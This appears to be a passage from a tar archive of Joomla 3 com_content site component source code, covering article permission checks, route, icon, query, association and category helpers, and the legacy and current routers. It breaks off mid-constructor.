			$allow = JFactory::getUser()->authorise('core.create', 'com_content.category.' . $categoryId);
		}

		if ($allow === null)
		{
			// In the absence of better information, revert to the component permissions.
			return parent::allowAdd();
		}

		return $allow;
	}

	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;
		$user = JFactory::getUser();

		// Zero record (id:0), return component edit permission by calling parent controller method
		if (!$recordId)
		{
			return parent::allowEdit($data, $key);
		}

		// Check edit on the record asset (explicit or inherited)
		if ($user->authorise('core.edit', 'com_content.article.' . $recordId))
		{
			return true;
		}

		// Check edit own on the record asset (explicit or inherited)
		if ($user->authorise('core.edit.own', 'com_content.article.' . $recordId))
		{
			// Existing record already has an owner, get it
			$record = $this->getModel()->getItem($recordId);

			if (empty($record))
			{
				return false;
			}

			// Grant if current user is owner of the record
			return $user->id == $record->created_by;
		}

		return false;
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean   True if successful, false otherwise and internal error is set.
	 *
	 * @since   1.6
	 */
	public function batch($model = null)
	{
		$this->checkToken();

		// Set the model
		/** @var ContentModelArticle $model */
		$model = $this->getModel('Article', '', array());

		// Preset the redirect
		$this->setRedirect(JRoute::_('index.php?option=com_content&view=articles' . $this->getRedirectToListAppend(), false));

		return parent::batch($model);
	}
}
com_content/helpers/association.php000060400000010327152453734450013556 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ContentHelper', JPATH_ADMINISTRATOR . '/components/com_content/helpers/content.php');
JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');
JLoader::register('CategoryHelperAssociation', JPATH_ADMINISTRATOR . '/components/com_categories/helpers/association.php');

/**
 * Content Component Association Helper
 *
 * @since  3.0
 */
abstract class ContentHelperAssociation extends CategoryHelperAssociation
{
	/**
	 * Method to get the associations for a given item
	 *
	 * @param   integer  $id      Id of the item
	 * @param   string   $view    Name of the view
	 * @param   string   $layout  View layout
	 *
	 * @return  array   Array of associations for the item
	 *
	 * @since  3.0
	 */
	public static function getAssociations($id = 0, $view = null, $layout = null)
	{
		$jinput    = JFactory::getApplication()->input;
		$view      = $view === null ? $jinput->get('view') : $view;
		$component = $jinput->getCmd('option');
		$id        = empty($id) ? $jinput->getInt('id') : $id;

		if ($layout === null && $jinput->get('view') == $view && $component == 'com_content')
		{
			$layout = $jinput->get('layout', '', 'string');
		}

		if ($view === 'article')
		{
			if ($id)
			{
				$user      = JFactory::getUser();
				$groups    = implode(',', $user->getAuthorisedViewLevels());
				$db        = JFactory::getDbo();
				$advClause = array();

				// Filter by user groups
				$advClause[] = 'c2.access IN (' . $groups . ')';

				// Filter by current language
				$advClause[] = 'c2.language != ' . $db->quote(JFactory::getLanguage()->getTag());

				if (!$user->authorise('core.edit.state', 'com_content') && !$user->authorise('core.edit', 'com_content'))
				{
					// Filter by start and end dates.
					$nullDate = $db->quote($db->getNullDate());
					$date = JFactory::getDate();

					$nowDate = $db->quote($date->toSql());

					$advClause[] = '(c2.publish_up = ' . $nullDate . ' OR c2.publish_up <= ' . $nowDate . ')';
					$advClause[] = '(c2.publish_down = ' . $nullDate . ' OR c2.publish_down >= ' . $nowDate . ')';

					// Filter by published
					$advClause[] = 'c2.state = 1';
				}

				$associations = JLanguageAssociations::getAssociations('com_content', '#__content', 'com_content.item', $id, 'id', 'alias', 'catid', $advClause);

				$return = array();

				foreach ($associations as $tag => $item)
				{
					$return[$tag] = ContentHelperRoute::getArticleRoute($item->id, (int) $item->catid, $item->language, $layout);
				}

				return $return;
			}
		}

		if ($view === 'category' || $view === 'categories')
		{
			return self::getCategoryAssociations($id, 'com_content', $layout);
		}

		return array();
	}

	/**
	 * Method to display in frontend the associations for a given article
	 *
	 * @param   integer  $id  Id of the article
	 *
	 * @return  array  An array containing the association URL and the related language object
	 *
	 * @since  3.7.0
	 */
	public static function displayAssociations($id)
	{
		$return = array();

		if ($associations = self::getAssociations($id, 'article'))
		{
			$levels    = JFactory::getUser()->getAuthorisedViewLevels();
			$languages = JLanguageHelper::getLanguages();

			foreach ($languages as $language)
			{
				// Do not display language when no association
				if (empty($associations[$language->lang_code]))
				{
					continue;
				}

				// Do not display language without frontend UI
				if (!array_key_exists($language->lang_code, JLanguageHelper::getInstalledLanguages(0)))
				{
					continue;
				}

				// Do not display language without specific home menu
				if (!array_key_exists($language->lang_code, JLanguageMultilang::getSiteHomePages()))
				{
					continue;
				}

				// Do not display language without authorized access level
				if (isset($language->access) && $language->access && !in_array($language->access, $levels))
				{
					continue;
				}

				$return[$language->lang_code] = array('item' => $associations[$language->lang_code], 'language' => $language);
			}
		}

		return $return;
	}
}
com_content/helpers/route.php000060400000004124152453734450012376 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Content Component Route Helper.
 *
 * @since  1.5
 */
abstract class ContentHelperRoute
{
	/**
	 * Get the article route.
	 *
	 * @param   integer  $id        The route of the content item.
	 * @param   integer  $catid     The category ID.
	 * @param   integer  $language  The language code.
	 * @param   string   $layout    The layout value.
	 *
	 * @return  string  The article route.
	 *
	 * @since   1.5
	 */
	public static function getArticleRoute($id, $catid = 0, $language = 0, $layout = null)
	{
		// Create the link
		$link = 'index.php?option=com_content&view=article&id=' . $id;

		if ((int) $catid > 1)
		{
			$link .= '&catid=' . $catid;
		}

		if ($language && $language !== '*' && JLanguageMultilang::isEnabled())
		{
			$link .= '&lang=' . $language;
		}

		if ($layout)
		{
			$link .= '&layout=' . $layout;
		}

		return $link;
	}

	/**
	 * Get the category route.
	 *
	 * @param   integer  $catid     The category ID.
	 * @param   integer  $language  The language code.
	 * @param   string   $layout    The layout value.
	 *
	 * @return  string  The article route.
	 *
	 * @since   1.5
	 */
	public static function getCategoryRoute($catid, $language = 0, $layout = null)
	{
		if ($catid instanceof JCategoryNode)
		{
			$id = $catid->id;
		}
		else
		{
			$id = (int) $catid;
		}

		if ($id < 1)
		{
			return '';
		}

		$link = 'index.php?option=com_content&view=category&id=' . $id;

		if ($language && $language !== '*' && JLanguageMultilang::isEnabled())
		{
			$link .= '&lang=' . $language;
		}

		if ($layout)
		{
			$link .= '&layout=' . $layout;
		}

		return $link;
	}

	/**
	 * Get the form route.
	 *
	 * @param   integer  $id  The form ID.
	 *
	 * @return  string  The article route.
	 *
	 * @since   1.5
	 */
	public static function getFormRoute($id)
	{
		return 'index.php?option=com_content&task=article.edit&a_id=' . (int) $id;
	}
}
com_content/helpers/icon.php000060400000016773152453734450012205 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * Content Component HTML Helper
 *
 * @since  1.5
 */
abstract class JHtmlIcon
{
	/**
	 * Method to generate a link to the create item page for the given category
	 *
	 * @param   object    $category  The category information
	 * @param   Registry  $params    The item parameters
	 * @param   array     $attribs   Optional attributes for the link
	 * @param   boolean   $legacy    True to use legacy images, false to use icomoon based graphic
	 *
	 * @return  string  The HTML markup for the create item link
	 */
	public static function create($category, $params, $attribs = array(), $legacy = false)
	{
		$uri = JUri::getInstance();

		$url = 'index.php?option=com_content&task=article.add&return=' . base64_encode($uri) . '&a_id=0&catid=' . $category->id;

		$text = JLayoutHelper::render('joomla.content.icons.create', array('params' => $params, 'legacy' => $legacy));

		// Add the button classes to the attribs array
		if (isset($attribs['class']))
		{
			$attribs['class'] .= ' btn btn-primary';
		}
		else
		{
			$attribs['class'] = 'btn btn-primary';
		}

		$button = JHtml::_('link', JRoute::_($url), $text, $attribs);

		$output = '<span class="hasTooltip" title="' . JHtml::_('tooltipText', 'COM_CONTENT_CREATE_ARTICLE') . '">' . $button . '</span>';

		return $output;
	}

	/**
	 * Method to generate a link to the email item page for the given article
	 *
	 * @param   object    $article  The article information
	 * @param   Registry  $params   The item parameters
	 * @param   array     $attribs  Optional attributes for the link
	 * @param   boolean   $legacy   True to use legacy images, false to use icomoon based graphic
	 *
	 * @return  string  The HTML markup for the email item link
	 *
	 * @deprecated 4.0 The functionality to email an article is removed in Joomla 4
	 */
	public static function email($article, $params, $attribs = array(), $legacy = false)
	{
		JLoader::register('MailtoHelper', JPATH_SITE . '/components/com_mailto/helpers/mailto.php');

		$uri      = JUri::getInstance();
		$base     = $uri->toString(array('scheme', 'host', 'port'));
		$template = JFactory::getApplication()->getTemplate();
		$link     = $base . JRoute::_(ContentHelperRoute::getArticleRoute($article->slug, $article->catid, $article->language), false);
		$url      = 'index.php?option=com_mailto&tmpl=component&template=' . $template . '&link=' . MailtoHelper::addLink($link);

		$height = JFactory::getApplication()->get('captcha', '0') === '0' ? 450 : 550;
		$status = 'width=400,height=' . $height . ',menubar=yes,resizable=yes';

		$text = JLayoutHelper::render('joomla.content.icons.email', array('params' => $params, 'legacy' => $legacy));

		$attribs['title']   = JText::_('JGLOBAL_EMAIL_TITLE');
		$attribs['onclick'] = "window.open(this.href,'win2','" . $status . "'); return false;";
		$attribs['rel']     = 'nofollow';

		return JHtml::_('link', JRoute::_($url), $text, $attribs);
	}

	/**
	 * Display an edit icon for the article.
	 *
	 * This icon will not display in a popup window, nor if the article is trashed.
	 * Edit access checks must be performed in the calling code.
	 *
	 * @param   object    $article  The article information
	 * @param   Registry  $params   The item parameters
	 * @param   array     $attribs  Optional attributes for the link
	 * @param   boolean   $legacy   True to use legacy images, false to use icomoon based graphic
	 *
	 * @return  string	The HTML for the article edit icon.
	 *
	 * @since   1.6
	 */
	public static function edit($article, $params, $attribs = array(), $legacy = false)
	{
		$user = JFactory::getUser();
		$uri  = JUri::getInstance();

		// Ignore if in a popup window.
		if ($params && $params->get('popup'))
		{
			return;
		}

		// Ignore if the state is negative (trashed).
		if ($article->state < 0)
		{
			return;
		}

		// Show checked_out icon if the article is checked out by a different user
		if (property_exists($article, 'checked_out')
			&& property_exists($article, 'checked_out_time')
			&& $article->checked_out > 0
			&& $article->checked_out != $user->get('id'))
		{
			$checkoutUser = JFactory::getUser($article->checked_out);
			$date         = JHtml::_('date', $article->checked_out_time);
			$tooltip      = JText::_('JLIB_HTML_CHECKED_OUT') . ' :: ' . JText::sprintf('COM_CONTENT_CHECKED_OUT_BY', $checkoutUser->name)
				. ' <br /> ' . $date;

			$text = JLayoutHelper::render('joomla.content.icons.edit_lock', array('tooltip' => $tooltip, 'legacy' => $legacy));

			$output = JHtml::_('link', '#', $text, $attribs);

			return $output;
		}

		$contentUrl = ContentHelperRoute::getArticleRoute($article->slug, $article->catid, $article->language);
		$url        = $contentUrl . '&task=article.edit&a_id=' . $article->id . '&return=' . base64_encode($uri);

		if ($article->state == 0)
		{
			$overlib = JText::_('JUNPUBLISHED');
		}
		else
		{
			$overlib = JText::_('JPUBLISHED');
		}

		$date   = JHtml::_('date', $article->created);
		$author = $article->created_by_alias ?: $article->author;

		$overlib .= '&lt;br /&gt;';
		$overlib .= $date;
		$overlib .= '&lt;br /&gt;';
		$overlib .= JText::sprintf('COM_CONTENT_WRITTEN_BY', htmlspecialchars($author, ENT_COMPAT, 'UTF-8'));

		$text = JLayoutHelper::render('joomla.content.icons.edit', array('article' => $article, 'overlib' => $overlib, 'legacy' => $legacy));

		$attribs['title']   = JText::_('JGLOBAL_EDIT_TITLE');
		$output = JHtml::_('link', JRoute::_($url), $text, $attribs);

		return $output;
	}

	/**
	 * Method to generate a popup link to print an article
	 *
	 * @param   object    $article  The article information
	 * @param   Registry  $params   The item parameters
	 * @param   array     $attribs  Optional attributes for the link
	 * @param   boolean   $legacy   True to use legacy images, false to use icomoon based graphic
	 *
	 * @return  string  The HTML markup for the popup link
	 */
	public static function print_popup($article, $params, $attribs = array(), $legacy = false)
	{
		$url  = ContentHelperRoute::getArticleRoute($article->slug, $article->catid, $article->language);
		$url .= '&tmpl=component&print=1&layout=default';

		$status = 'status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=640,height=480,directories=no,location=no';

		$text = JLayoutHelper::render('joomla.content.icons.print_popup', array('params' => $params, 'legacy' => $legacy));

		$attribs['title']   = JText::sprintf('JGLOBAL_PRINT_TITLE', htmlspecialchars($article->title, ENT_QUOTES, 'UTF-8'));
		$attribs['onclick'] = "window.open(this.href,'win2','" . $status . "'); return false;";
		$attribs['rel']     = 'nofollow';

		return JHtml::_('link', JRoute::_($url), $text, $attribs);
	}

	/**
	 * Method to generate a link to print an article
	 *
	 * @param   object    $article  Not used, @deprecated for 4.0
	 * @param   Registry  $params   The item parameters
	 * @param   array     $attribs  Not used, @deprecated for 4.0
	 * @param   boolean   $legacy   True to use legacy images, false to use icomoon based graphic
	 *
	 * @return  string  The HTML markup for the popup link
	 */
	public static function print_screen($article, $params, $attribs = array(), $legacy = false)
	{
		$text = JLayoutHelper::render('joomla.content.icons.print_screen', array('params' => $params, 'legacy' => $legacy));

		return '<a href="#" onclick="window.print();return false;">' . $text . '</a>';
	}
}
com_content/helpers/query.php000060400000015411152453734450012406 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Content Component Query Helper
 *
 * @since  1.5
 */
class ContentHelperQuery
{
	/**
	 * Translate an order code to a field for primary category ordering.
	 *
	 * @param   string  $orderby  The ordering code.
	 *
	 * @return  string  The SQL field(s) to order by.
	 *
	 * @since   1.5
	 */
	public static function orderbyPrimary($orderby)
	{
		switch ($orderby)
		{
			case 'alpha' :
				$orderby = 'c.path, ';
				break;

			case 'ralpha' :
				$orderby = 'c.path DESC, ';
				break;

			case 'order' :
				$orderby = 'c.lft, ';
				break;

			default :
				$orderby = '';
				break;
		}

		return $orderby;
	}

	/**
	 * Translate an order code to a field for secondary category ordering.
	 *
	 * @param   string  $orderby    The ordering code.
	 * @param   string  $orderDate  The ordering code for the date.
	 *
	 * @return  string  The SQL field(s) to order by.
	 *
	 * @since   1.5
	 */
	public static function orderbySecondary($orderby, $orderDate = 'created')
	{
		$queryDate = self::getQueryDate($orderDate);

		switch ($orderby)
		{
			case 'date' :
				$orderby = $queryDate;
				break;

			case 'rdate' :
				$orderby = $queryDate . ' DESC ';
				break;

			case 'alpha' :
				$orderby = 'a.title';
				break;

			case 'ralpha' :
				$orderby = 'a.title DESC';
				break;

			case 'hits' :
				$orderby = 'a.hits DESC';
				break;

			case 'rhits' :
				$orderby = 'a.hits';
				break;

			case 'order' :
				$orderby = 'a.ordering';
				break;

			case 'rorder' :
				$orderby = 'a.ordering DESC';
				break;

			case 'author' :
				$orderby = 'author';
				break;

			case 'rauthor' :
				$orderby = 'author DESC';
				break;

			case 'front' :
				$orderby = 'a.featured DESC, fp.ordering, ' . $queryDate . ' DESC ';
				break;

			case 'random' :
				$orderby = JFactory::getDbo()->getQuery(true)->Rand();
				break;

			case 'vote' :
				$orderby = 'a.id DESC ';

				if (JPluginHelper::isEnabled('content', 'vote'))
				{
					$orderby = 'rating_count DESC ';
				}
				break;

			case 'rvote' :
				$orderby = 'a.id ASC ';

				if (JPluginHelper::isEnabled('content', 'vote'))
				{
					$orderby = 'rating_count ASC ';
				}
				break;

			case 'rank' :
				$orderby = 'a.id DESC ';

				if (JPluginHelper::isEnabled('content', 'vote'))
				{
					$orderby = 'rating DESC ';
				}
				break;

			case 'rrank' :
				$orderby = 'a.id ASC ';

				if (JPluginHelper::isEnabled('content', 'vote'))
				{
					$orderby = 'rating ASC ';
				}
				break;

			default :
				$orderby = 'a.ordering';
				break;
		}

		return $orderby;
	}

	/**
	 * Translate an order code to a field for primary category ordering.
	 *
	 * @param   string  $orderDate  The ordering code.
	 *
	 * @return  string  The SQL field(s) to order by.
	 *
	 * @since   1.6
	 */
	public static function getQueryDate($orderDate)
	{
		$db = JFactory::getDbo();

		switch ($orderDate)
		{
			case 'modified' :
				$queryDate = ' CASE WHEN a.modified = ' . $db->quote($db->getNullDate()) . ' THEN a.created ELSE a.modified END';
				break;

			// Use created if publish_up is not set
			case 'published' :
				$queryDate = ' CASE WHEN a.publish_up = ' . $db->quote($db->getNullDate()) . ' THEN a.created ELSE a.publish_up END ';
				break;

			case 'unpublished' :
				$queryDate = ' CASE WHEN a.publish_down = ' . $db->quote($db->getNullDate()) . ' THEN a.created ELSE a.publish_down END ';
				break;
			case 'created' :
			default :
				$queryDate = ' a.created ';
				break;
		}

		return $queryDate;
	}

	/**
	 * Get join information for the voting query.
	 *
	 * @param   \Joomla\Registry\Registry  $params  An options object for the article.
	 *
	 * @return  array  A named array with "select" and "join" keys.
	 *
	 * @since   1.5
	 */
	public static function buildVotingQuery($params = null)
	{
		if (!$params)
		{
			$params = JComponentHelper::getParams('com_content');
		}

		$voting = $params->get('show_vote');

		if ($voting)
		{
			// Calculate voting count
			$select = ' , ROUND(v.rating_sum / v.rating_count) AS rating, v.rating_count';
			$join = ' LEFT JOIN #__content_rating AS v ON a.id = v.content_id';
		}
		else
		{
			$select = '';
			$join = '';
		}

		return array('select' => $select, 'join' => $join);
	}

	/**
	 * Method to order the intro articles array for ordering
	 * down the columns instead of across.
	 * The layout always lays the introtext articles out across columns.
	 * Array is reordered so that, when articles are displayed in index order
	 * across columns in the layout, the result is that the
	 * desired article ordering is achieved down the columns.
	 *
	 * @param   array    &$articles   Array of intro text articles
	 * @param   integer  $numColumns  Number of columns in the layout
	 *
	 * @return  array  Reordered array to achieve desired ordering down columns
	 *
	 * @since       1.6
	 * @deprecated  4.0 
	 */
	public static function orderDownColumns(&$articles, $numColumns = 1)
	{
		$count = count($articles);

		// Just return the same array if there is nothing to change
		if ($numColumns == 1 || !is_array($articles) || $count <= $numColumns)
		{
			$return = $articles;
		}
		// We need to re-order the intro articles array
		else
		{
			// We need to preserve the original array keys
			$keys = array_keys($articles);

			$maxRows = ceil($count / $numColumns);
			$numCells = $maxRows * $numColumns;
			$numEmpty = $numCells - $count;
			$index = array();

			// Calculate number of empty cells in the array

			// Fill in all cells of the array
			// Put -1 in empty cells so we can skip later
			for ($row = 1, $i = 1; $row <= $maxRows; $row++)
			{
				for ($col = 1; $col <= $numColumns; $col++)
				{
					if ($numEmpty > ($numCells - $i))
					{
						// Put -1 in empty cells
						$index[$row][$col] = -1;
					}
					else
					{
						// Put in zero as placeholder
						$index[$row][$col] = 0;
					}

					$i++;
				}
			}

			// Layout the articles in column order, skipping empty cells
			$i = 0;

			for ($col = 1; ($col <= $numColumns) && ($i < $count); $col++)
			{
				for ($row = 1; ($row <= $maxRows) && ($i < $count); $row++)
				{
					if ($index[$row][$col] != - 1)
					{
						$index[$row][$col] = $keys[$i];
						$i++;
					}
				}
			}

			// Now read the $index back row by row to get articles in right row/col
			// so that they will actually be ordered down the columns (when read by row in the layout)
			$return = array();
			$i = 0;

			for ($row = 1; ($row <= $maxRows) && ($i < $count); $row++)
			{
				for ($col = 1; ($col <= $numColumns) && ($i < $count); $col++)
				{
					$return[$keys[$i]] = $articles[$index[$row][$col]];
					$i++;
				}
			}
		}

		return $return;
	}
}
com_content/helpers/category.php000060400000001175152453734450013060 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Content Component Category Tree
 *
 * @since  1.6
 */
class ContentCategories extends JCategories
{
	/**
	 * Class constructor
	 *
	 * @param   array  $options  Array of options
	 *
	 * @since   1.7.0
	 */
	public function __construct($options = array())
	{
		$options['table'] = '#__content';
		$options['extension'] = 'com_content';

		parent::__construct($options);
	}
}
com_content/helpers/legacyrouter.php000060400000023557152453734450013760 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Legacy routing rules class from com_content
 *
 * @since       3.6
 * @deprecated  4.0
 */
class ContentRouterRulesLegacy implements JComponentRouterRulesInterface
{
	/**
	 * Constructor for this legacy router
	 *
	 * @param   JComponentRouterView  $router  The router this rule belongs to
	 *
	 * @since       3.6
	 * @deprecated  4.0
	 */
	public function __construct($router)
	{
		$this->router = $router;
	}

	/**
	 * Preprocess the route for the com_content component
	 *
	 * @param   array  &$query  An array of URL arguments
	 *
	 * @return  void
	 *
	 * @since       3.6
	 * @deprecated  4.0
	 */
	public function preprocess(&$query)
	{
	}

	/**
	 * Build the route for the com_content component
	 *
	 * @param   array  &$query     An array of URL arguments
	 * @param   array  &$segments  The URL arguments to use to assemble the subsequent URL.
	 *
	 * @return  void
	 *
	 * @since       3.6
	 * @deprecated  4.0
	 */
	public function build(&$query, &$segments)
	{
		// Get a menu item based on Itemid or currently active
		$params = JComponentHelper::getParams('com_content');
		$advanced = $params->get('sef_advanced_link', 0);

		// We need a menu item.  Either the one specified in the query, or the current active one if none specified
		if (empty($query['Itemid']))
		{
			$menuItem = $this->router->menu->getActive();
			$menuItemGiven = false;
		}
		else
		{
			$menuItem = $this->router->menu->getItem($query['Itemid']);
			$menuItemGiven = true;
		}

		// Check again
		if ($menuItemGiven && isset($menuItem) && $menuItem->component != 'com_content')
		{
			$menuItemGiven = false;
			unset($query['Itemid']);
		}

		if (isset($query['view']))
		{
			$view = $query['view'];
		}
		else
		{
			// We need to have a view in the query or it is an invalid URL
			return;
		}

		// Are we dealing with an article or category that is attached to a menu item?
		if ($menuItem !== null
			&& isset($menuItem->query['view'], $query['view'], $menuItem->query['id'], $query['id'])
			&& $menuItem->query['view'] == $query['view']
			&& $menuItem->query['id'] == (int) $query['id'])
		{
			unset($query['view']);

			if (isset($query['catid']))
			{
				unset($query['catid']);
			}

			if (isset($query['layout']))
			{
				unset($query['layout']);
			}

			unset($query['id']);

			return;
		}

		if ($view == 'category' || $view == 'article')
		{
			if (!$menuItemGiven)
			{
				$segments[] = $view;
			}

			unset($query['view']);

			if ($view == 'article')
			{
				if (isset($query['id']) && isset($query['catid']) && $query['catid'])
				{
					$catid = $query['catid'];

					// Make sure we have the id and the alias
					if (strpos($query['id'], ':') === false)
					{
						$db = JFactory::getDbo();
						$dbQuery = $db->getQuery(true)
							->select('alias')
							->from('#__content')
							->where('id=' . (int) $query['id']);
						$db->setQuery($dbQuery);
						$alias = $db->loadResult();
						$query['id'] = $query['id'] . ':' . $alias;
					}
				}
				else
				{
					// We should have these two set for this view.  If we don't, it is an error
					return;
				}
			}
			else
			{
				if (isset($query['id']))
				{
					$catid = $query['id'];
				}
				else
				{
					// We should have id set for this view.  If we don't, it is an error
					return;
				}
			}

			if ($menuItemGiven && isset($menuItem->query['id']))
			{
				$mCatid = $menuItem->query['id'];
			}
			else
			{
				$mCatid = 0;
			}

			$categories = JCategories::getInstance('Content');
			$category = $categories->get($catid);

			if (!$category)
			{
				// We couldn't find the category we were given.  Bail.
				return;
			}

			$path = array_reverse($category->getPath());

			$array = array();

			foreach ($path as $id)
			{
				if ((int) $id == (int) $mCatid)
				{
					break;
				}

				list($tmp, $id) = explode(':', $id, 2);

				$array[] = $id;
			}

			$array = array_reverse($array);

			if (!$advanced && count($array))
			{
				$array[0] = (int) $catid . ':' . $array[0];
			}

			$segments = array_merge($segments, $array);

			if ($view == 'article')
			{
				if ($advanced)
				{
					list($tmp, $id) = explode(':', $query['id'], 2);
				}
				else
				{
					$id = $query['id'];
				}

				$segments[] = $id;
			}

			unset($query['id'], $query['catid']);
		}

		if ($view == 'archive')
		{
			if (!$menuItemGiven)
			{
				$segments[] = $view;
				unset($query['view']);
			}

			if (isset($query['year']))
			{
				if ($menuItemGiven)
				{
					$segments[] = $query['year'];
					unset($query['year']);
				}
			}

			if (isset($query['year']) && isset($query['month']))
			{
				if ($menuItemGiven)
				{
					$segments[] = $query['month'];
					unset($query['month']);
				}
			}
		}

		if ($view == 'featured')
		{
			if (!$menuItemGiven)
			{
				$segments[] = $view;
			}

			unset($query['view']);
		}

		/*
		 * If the layout is specified and it is the same as the layout in the menu item, we
		 * unset it so it doesn't go into the query string.
		 */
		if (isset($query['layout']))
		{
			if ($menuItemGiven && isset($menuItem->query['layout']))
			{
				if ($query['layout'] == $menuItem->query['layout'])
				{
					unset($query['layout']);
				}
			}
			else
			{
				if ($query['layout'] == 'default')
				{
					unset($query['layout']);
				}
			}
		}

		$total = count($segments);

		for ($i = 0; $i < $total; $i++)
		{
			$segments[$i] = str_replace(':', '-', $segments[$i]);
		}
	}

	/**
	 * Parse the segments of a URL.
	 *
	 * @param   array  &$segments  The segments of the URL to parse.
	 * @param   array  &$vars      The URL attributes to be used by the application.
	 *
	 * @return  void
	 *
	 * @since       3.6
	 * @deprecated  4.0
	 */
	public function parse(&$segments, &$vars)
	{
		$total = count($segments);

		for ($i = 0; $i < $total; $i++)
		{
			$segments[$i] = preg_replace('/-/', ':', $segments[$i], 1);
		}

		// Get the active menu item.
		$item = $this->router->menu->getActive();
		$params = JComponentHelper::getParams('com_content');
		$advanced = $params->get('sef_advanced_link', 0);
		$db = JFactory::getDbo();

		// Count route segments
		$count = count($segments);

		/*
		 * Standard routing for articles.  If we don't pick up an Itemid then we get the view from the segments
		 * the first segment is the view and the last segment is the id of the article or category.
		 */
		if (!isset($item))
		{
			$vars['view'] = $segments[0];
			$vars['id'] = $segments[$count - 1];

			return;
		}

		/*
		 * If there is only one segment, then it points to either an article or a category.
		 * We test it first to see if it is a category.  If the id and alias match a category,
		 * then we assume it is a category.  If they don't we assume it is an article
		 */
		if ($count == 1)
		{
			// We check to see if an alias is given.  If not, we assume it is an article
			if (strpos($segments[0], ':') === false)
			{
				$vars['view'] = 'article';
				$vars['id'] = (int) $segments[0];

				return;
			}

			list($id, $alias) = explode(':', $segments[0], 2);

			// First we check if it is a category
			$category = JCategories::getInstance('Content')->get($id);

			if ($category && $category->alias == $alias)
			{
				$vars['view'] = 'category';
				$vars['id'] = $id;

				return;
			}
			else
			{
				$query = $db->getQuery(true)
					->select($db->quoteName(array('alias', 'catid')))
					->from($db->quoteName('#__content'))
					->where($db->quoteName('id') . ' = ' . (int) $id);
				$db->setQuery($query);
				$article = $db->loadObject();

				if ($article)
				{
					if ($article->alias == $alias)
					{
						$vars['view'] = 'article';
						$vars['catid'] = (int) $article->catid;
						$vars['id'] = (int) $id;

						return;
					}
				}
			}
		}

		/*
		 * If there was more than one segment, then we can determine where the URL points to
		 * because the first segment will have the target category id prepended to it.  If the
		 * last segment has a number prepended, it is an article, otherwise, it is a category.
		 */
		if (!$advanced)
		{
			$cat_id = (int) $segments[0];

			$article_id = (int) $segments[$count - 1];

			if ($article_id > 0)
			{
				$vars['view'] = 'article';
				$vars['catid'] = $cat_id;
				$vars['id'] = $article_id;
			}
			else
			{
				$vars['view'] = 'category';
				$vars['id'] = $cat_id;
			}

			return;
		}

		// We get the category id from the menu item and search from there
		$id = $item->query['id'];
		$category = JCategories::getInstance('Content')->get($id);

		if (!$category)
		{
			JError::raiseError(404, JText::_('COM_CONTENT_ERROR_PARENT_CATEGORY_NOT_FOUND'));

			return;
		}

		$categories = $category->getChildren();
		$vars['catid'] = $id;
		$vars['id'] = $id;
		$found = 0;

		foreach ($segments as $segment)
		{
			$segment = str_replace(':', '-', $segment);

			foreach ($categories as $category)
			{
				if ($category->alias == $segment)
				{
					$vars['id'] = $category->id;
					$vars['catid'] = $category->id;
					$vars['view'] = 'category';
					$categories = $category->getChildren();
					$found = 1;
					break;
				}
			}

			if ($found == 0)
			{
				if ($advanced)
				{
					$db = JFactory::getDbo();
					$query = $db->getQuery(true)
						->select($db->quoteName('id'))
						->from('#__content')
						->where($db->quoteName('catid') . ' = ' . (int) $vars['catid'])
						->where($db->quoteName('alias') . ' = ' . $db->quote($segment));
					$db->setQuery($query);
					$cid = $db->loadResult();
				}
				else
				{
					$cid = $segment;
				}

				$vars['id'] = $cid;

				if ($item->query['view'] == 'archive' && $count != 1)
				{
					$vars['year'] = $count >= 2 ? $segments[$count - 2] : null;
					$vars['month'] = $segments[$count - 1];
					$vars['view'] = 'archive';
				}
				else
				{
					$vars['view'] = 'article';
				}
			}

			$found = 0;
		}
	}
}
com_content/router.php000060400000015305152453734450011121 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Routing class of com_content
 *
 * @since  3.3
 */
class ContentRouter extends JComponentRouterView
{
	protected $noIDs = false;

	/**
	 * Content Component router constructor
	 *
	 * @param   JApplicationCms  $app   The application object
	 * @param   JMenu            $menu  The menu object to work with
	 */
	public function __construct($app = null, $menu = null)
	{
		$params = JComponentHelper::getParams('com_content');
		$this->noIDs = (bool) $params->get('sef_ids');
		$categories = new JComponentRouterViewconfiguration('categories');
		$categories->setKey('id');
		$this->registerView($categories);
		$category = new JComponentRouterViewconfiguration('category');
